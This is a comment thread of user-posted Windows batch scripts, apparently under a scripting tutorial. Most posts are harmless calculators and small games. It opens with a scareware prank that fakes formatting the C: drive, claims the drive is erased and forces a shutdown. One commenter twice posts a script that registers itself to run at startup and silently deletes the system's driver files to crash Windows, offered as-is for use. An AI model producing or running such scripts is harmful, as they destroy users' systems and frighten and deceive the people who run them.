    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    echo.

    echo ERROR ATTEMPTING REPAIR FAILED:

    GOTO :choice

    :Yes

    start nircmd.exe cdrom open F:

    ECHO PLEASE INSERT INSTALLATION DISK

    PAUSE

    ping -n 1 localhost >nus

    ECHO.

    ECHO NOW BEGINNING PROCESS...

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 12%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 21%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 30%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 31%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 32%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 33%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 34%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 35%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 36%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 37%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 7 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛ²²²²²²²²²² 42%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²²² 55%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 66%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 69%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 70%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 92%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 93%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 99%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 30 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 12 localhost >nus

    cls

    echo.

    dir /s

    ping -n 3 localhost >nus

    cls

    echo.

    echo CONTENTS OF HARD-DRIVE C: ERASED

    echo.

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    ping -n 3 localhost >nus

    cls

    color 0f

    echo.

    echo SCANNING FOR INSTALLATION DISK...

    echo.

    ping -n 3 localhost >nus

    echo NO INSTALLATION DISK INSERTED

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    pause

    cls

    echo NO INSTALLATION DISK INSERTED

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    pause

    cls

    echo NO INSTALLATION DISK FOUND; SHUTTING DOWN COMPUTER.

    echo -

    echo -

    echo -

    pause

    start shutdown -s -t 5 -c "SYSTEM FAILURE<REPAIR COMPLETE; STATUS: FAILED!"

    _____----____----____

    you will need to install NIRCMD

    replace drive F: with your cdrom letter

    i hope you enjoyed took me a week to write 1126 line in notepad++

    0
    Plixq
    Plixq

    4 years ago

    @ echo off

    rem ———————————
    rem Activate Blue Screen Of Death
    @((( Echo Off > Nul ) & Break Off )
    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    @Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
    @Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”
    )

    0
    Plixq
    Plixq

    4 years ago

    @ echo off

    rem ———————————
    rem Activate Blue Screen Of Death
    @((( Echo Off > Nul ) & Break Off )
    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    @Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
    @Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”)

    0
    Kartik S Nayak
    Kartik S Nayak

    5 years ago

    Simple calculator

    @echo off
    Setlocal enabledelayedexpansion
    :calc
    cls
    echo SIMPLE CALCULATOR
    echo 1.Add=+
    echo 2.Subtract=-
    echo 3.Multiply=*
    echo 4.Divide=/
    echo Put your question
    set/p equ=
    set/a equ=!equ!
    echo Answer=!equ!
    pause
    goto calc

    0
    Kartik S Nayak
    Kartik S Nayak

    5 years ago

    Simple calculator

    @echo off
    Setlocal enabledelayedexpansion
    :calc
    cls
    echo SIMPLE CALCULATOR
    echo 1.Add=+
    echo 2.Subtract=-
    echo 3.Multiply=*
    echo 4.Divide=/
    echo Put your question
    set/p equ=
    set/a equ=!equ!
    echo Answer=!equ!
    pause
    goto calc

    0
    NissarR
    NissarR

    5 years ago

    I wrote a script for Calculator

    @ECHO OFF

    COLOR 17

    TITLE CALCULATOR

    ECHO Enter the value of x:

    SET /p x=

    ECHO Enter the operator

    SET /p o=

    ECHO Enter the value of y:

    SET /p y=

    if %o%== + GOTO Add

    if %o%== - GOTO Sub

    if %o%== * GOTO Mul

    if %o%== / GOTO Div

    if %o%== % GOTO Mod

    :Add

    ECHO ********************

    ECHO ADDITION

    ECHO ********************

    SET /a z=x+y

    ECHO Addition of %x% and %y% is %z%

    PAUSE

    EXIT

    :Sub

    ECHO ********************

    ECHO SUBSTRACTION

    ECHO ********************

    SET /a z=x-y

    ECHO Substraction of %x% and %y% is %z%

    PAUSE

    EXIT

    :Mul

    ECHO ********************

    ECHO MULTIPLICATION

    ECHO ********************

    SET /a z=x*y

    ECHO Multiplication of %x% and %y% is %z%

    PAUSE

    EXIT

    :Div

    ECHO ********************

    ECHO DIVISION

    ECHO ********************

    SET /a z=x/y

    ECHO Division of %x% and %y% is %z%

    PAUSE

    EXIT

    :Mod

    ECHO ********************

    ECHO MODULUS

    ECHO ********************

    SET /a z=x%y

    ECHO Modulus of %x% and %y% is %z%

    PAUSE

    EXIT

    0
    PaulD370
    PaulD370

    5 years ago

    This is really cool but I just spotted one thing: on step 4, the part where it does start www.wikihow.com says 7 but should be 8

    0
    KostasJ
    KostasJ

    5 years ago

    And this is my new game (I made it today)

    @echo off
    title COINS
    color 0a
    mode con: cols=39 lines=25

    :menu
    cls
    echo =======================================
    echo === COINS ===
    echo =======================================
    echo.
    echo For info type ?
    echo.
    echo 1) Singleplayer
    echo 2) Multiplayer
    set menuchoice=
    set /p menuchoice=
    if %menuchoice% equ 1 goto players_sp
    if %menuchoice% equ 2 goto players_mp
    if %menuchoice% equ ? goto info
    echo.
    goto menu

    :info
    cls
    echo.
    echo SINGLEPLAYER
    echo.
    echo Your task is to beat me. There are
    echo coins (18 to 40). You have to collect
    echo 1, 2 or 3 coins. If it's your turn
    echo and there is only one coin left,
    echo you lose. GLHF :)
    echo.
    echo.
    echo MULTIPLAYER
    echo.
    echo It's the same as singleplayer...
    echo ...but it's for 2 players ;)
    echo.
    echo =======================================
    echo.
    echo To report any bugs, please contact me:
    echo.
    echo E-mail: kotasekjat@seznam.cz
    echo Skype: GD ziffdodo2
    echo.
    echo.
    echo Thanks for playing my game!!!
    pause >nul
    goto menu

    //SINGLEPLAYER

    :players_sp
    cls
    echo.
    echo =======================================
    echo === PLAYERS ===
    echo =======================================
    echo.
    echo.
    set player=
    set /p player=Player 1 (enter your name):
    echo.
    echo Player 2: NPC
    ping -n 3 localhost >nul
    cls
    echo.
    echo READY?
    ping -n 2 localhost >nul
    cls
    echo.
    echo GO!
    ping -n 2 localhost >nul
    goto game_p1_1


    //PLAYER_1


    :game_p1_1
    set limit=
    set /a limit=%random% %% 18+22
    goto game_p1_2

    :game_p1_2
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit% equ 1 goto p1_loss_sp
    set p1=
    set /p p1= %player%'s turn:
    if %p1% equ 1 goto p1_1
    if %p1% equ 2 goto p1_2
    if %p1% equ 3 goto p1_3
    if %p1% gtr 3 goto p1_fail

    :p1_1
    set /a limit=%limit%-1
    echo.
    echo YOU TAKE 1 COIN
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_2
    set /a limit=%limit%-2
    echo.
    echo YOU TAKE 2 COINS
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_3
    set /a limit=%limit%-3
    echo.
    echo YOU TAKE 3 COINS
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_fail
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 3 localhost >nul
    goto game_p1_2


    //PLAYER_PC


    :game_pc_check
    if %limit% gtr 25 goto game_pc_1
    if %limit% leq 25 goto game_pc_2
    if %limit% leq 0 goto p1_loss_sp

    :game_pc_1
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 2
    echo.
    echo NPC TAKES 2 COINS
    set /a limit=%limit%-2
    ping -n 2 localhost >nul
    goto game_p1_2

    :game_pc_2
    //1
    if %limit% equ 2 goto pc_1
    if %limit% equ 10 goto pc_1
    if %limit% equ 18 goto pc_1
    if %limit% equ 22 goto pc_1
    if %limit% equ 6 goto pc_2
    //GAPS_1
    if %limit% equ 14 goto pc_3
    //2
    if %limit% equ 3 goto pc_2
    if %limit% equ 15 goto pc_2
    if %limit% equ 11 goto pc_2
    if %limit% equ 19 goto pc_2
    //GAPS_2
    if %limit% equ 7 goto pc_3
    if %limit% equ 23 goto pc_3
    //3
    if %limit% equ 4 goto pc_3
    if %limit% equ 8 goto pc_3
    if %limit% equ 12 goto pc_3
    if %limit% equ 20 goto pc_3
    if %limit% equ 24 goto pc_2
    //GAPS_3
    if %limit% equ 16 goto pc_1
    //IMPOSSIBLE
    if %limit% equ 5 goto pc_1
    if %limit% equ 9 goto pc_2
    if %limit% equ 13 goto pc_3
    if %limit% equ 17 goto pc_1
    if %limit% equ 21 goto pc_2
    if %limit% equ 25 goto pc_3
    //PC_LOSS / PLAYER_1 WIN
    if %limit% equ 1 goto pc_loss
    //PC_WIN
    if %limit% leq 0 goto p1_loss

    :pc_3
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 3
    echo.
    echo NPC TAKES 3 COINS
    set /a limit=%limit%-3
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_1
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 1
    echo.
    echo NPC TAKES 1 COINS
    set a limit=%limit%-1
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_2
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 2
    echo.
    echo NPC TAKES 2 COINS
    set /a limit=%limit%-2
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_loss
    cls
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player% wins!
    echo.
    set again=
    set /p again=Do you want to play again? -
    if %again% equ yes goto player
    if %again% equ YES goto player
    if %again% equ no goto exit
    if %again% equ NO goto exit
    exit

    :p1_loss_sp
    echo.
    NPC wins!
    echo.
    echo You can try your luck again, %player%!
    echo.
    set again=
    set /p again=Wanna try your luck again? -
    if %again% equ yes goto player
    if %again% equ YES goto player
    if %again% equ no goto exit
    if %again% equ NO goto exit
    exit

    //MULTIPLAYER

    :players_mp
    cls
    echo.
    echo =======================================
    echo === PLAYERS ===
    echo =======================================
    echo.
    echo.
    set player1=
    set /p player1=Player 1:
    echo.
    set player2=
    set /p player2=Player 2:
    ping -n 2 localhost >nul
    cls
    echo.
    echo READY?
    ping -n 2 localhost >nul
    cls
    echo.
    echo GO!
    ping -n 2 localhost >nul
    goto game2_1

    :game2_1
    set limit2=
    set /a limit2=%random% %% 18+22
    goto game2_p1


    //PLAYER_1


    :game2_p1
    cls
    echo.
    echo Coins left: %limit2%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit2% equ 1 goto p1_loss_2
    if %limit2% leq 0 goto p2_loss_2
    set p1_2=
    set /p p1_2=%player1%'s turn:
    if %p1_2% equ 1 goto p1_1_2
    if %p1_2% equ 2 goto p1_2_2
    if %p1_2% equ 3 goto p1_3_2
    if %p1_2% gtr 3 goto p1_fail_2

    :p1_1_2
    echo.
    echo %player1% TAKES 1 COIN
    set /a limit2=%limit2%-1
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_2_2
    echo.
    echo %player1% TAKES 2 COINS
    set /a limit2=%limit2%-2
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_3_2
    echo.
    echo %player1% TAKES 3 COINS
    set /a limit2=%limit2%-3
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_fail_2
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 2 localhost >nul
    goto game2_p1

    :p1_loss_2
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player2% wins!
    echo.
    echo You can try your luck again, %player1%!
    echo.
    set again2=
    set /p again2=Do you want to play again? -
    if %again2% equ yes goto players_mp
    if %again2% equ YES goto players_mp
    if %again2% equ no goto exit
    if %again2% equ NO goto exit
    exit

    //PLAYER_2


    :game2_p2
    cls
    echo.
    echo Coins left: %limit2%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit2% equ 1 goto p2_loss_2
    if %limit2% leq 0 goto p1_loss_2
    set p2_2=
    set /p p2_2=%player2%'s turn:
    if %p2_2% equ 1 goto p2_1_2
    if %p2_2% equ 2 goto p2_2_2
    if %p2_2% equ 3 goto p2_3_2
    if %p2_2% gtr 3 goto p2_fail_2

    :p2_1_2
    echo.
    echo %player2% TAKES 1 COIN
    set /a limit2=%limit2%-1
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_2_2
    echo.
    echo %player2% TAKES 2 COINS
    set /a limit2=%limit2%-2
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_3_2
    echo.
    echo %player% TAKES 3 COINS
    set /a limit2=%limit2%-3
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_fail_2
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 2 localhost >nul
    goto game2_p2

    :p2_loss_2
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player1% wins!
    echo.
    echo You can try your luck again, %player2%!
    echo.
    set again2_2=
    set /p again2_2=Do you want to play again? -
    if %again2_2% equ yes goto players_mp
    if %again2_2% equ YES goto players_mp
    if %again2_2% equ no goto exit
    if %again2_2% equ NO goto exit
    exit

    :exit
    exit

    0
    KostasJ
    KostasJ

    5 years ago

    Hi! This is my version of the guessing game... Sorry for bad English :)

    @echo off
    title GUESS!
    color 1f
    mode con: cols=32 lines=23

    :start
    cls
    echo ------------------------
    echo GUESS MY NUMBER!
    echo ------------------------
    echo.
    echo Press any key to begin...
    set cheat=ziffdodo2
    set ans=%random%
    set /a left=20
    set /a guesses=0
    pause >nul
    cls
    echo START!
    ping -n 2 localhost >nul
    cls
    goto game

    :game
    echo.
    set /p guess=
    if %guess% gtr %ans% echo LOWER!
    if %guess% lss %ans% echo HIGHER!
    if %guess% equ %cheat% cls && echo You cheater... && echo The answer is %ans%
    set /a left=%left%-1
    if %left% equ -1 goto loss
    set /a guesses=%guesses%+1
    echo.
    echo %left% attempts left
    echo.
    if %guess% equ %ans% goto win
    goto game

    :win
    cls
    echo --------------------------------
    echo Congratulations!
    echo --------------------------------
    echo.
    echo I see you are good in
    echo guessing...
    echo.
    echo It took you %guesses% attempts
    echo to guess right.
    echo.
    echo The answer is: %ans%
    echo.
    set name=
    set /p name=Enter your name:
    pushd "%~dp0"
    echo %name% has won in %guesses% guesses in %date% at %time% >>Scoreboard.txt && echo. >>Scoreboard.txt
    goto win2
    :win2
    echo.
    echo GG %name%!
    echo.
    set /p again=Wanna play again? -
    if %again% equ yes goto start
    if %again% equ YES goto start
    if %again% equ no goto end
    if %again% equ NO goto end
    exit

    :loss
    cls
    echo You can try your luck again!
    echo.
    The answer is: %ans%
    echo.
    set /p again=Wanna play again? -
    if %again% equ yes goto start
    if %again% equ YES goto start
    if %again% equ no goto end
    if %again% equ NO goto end
    exit

    :end
    exit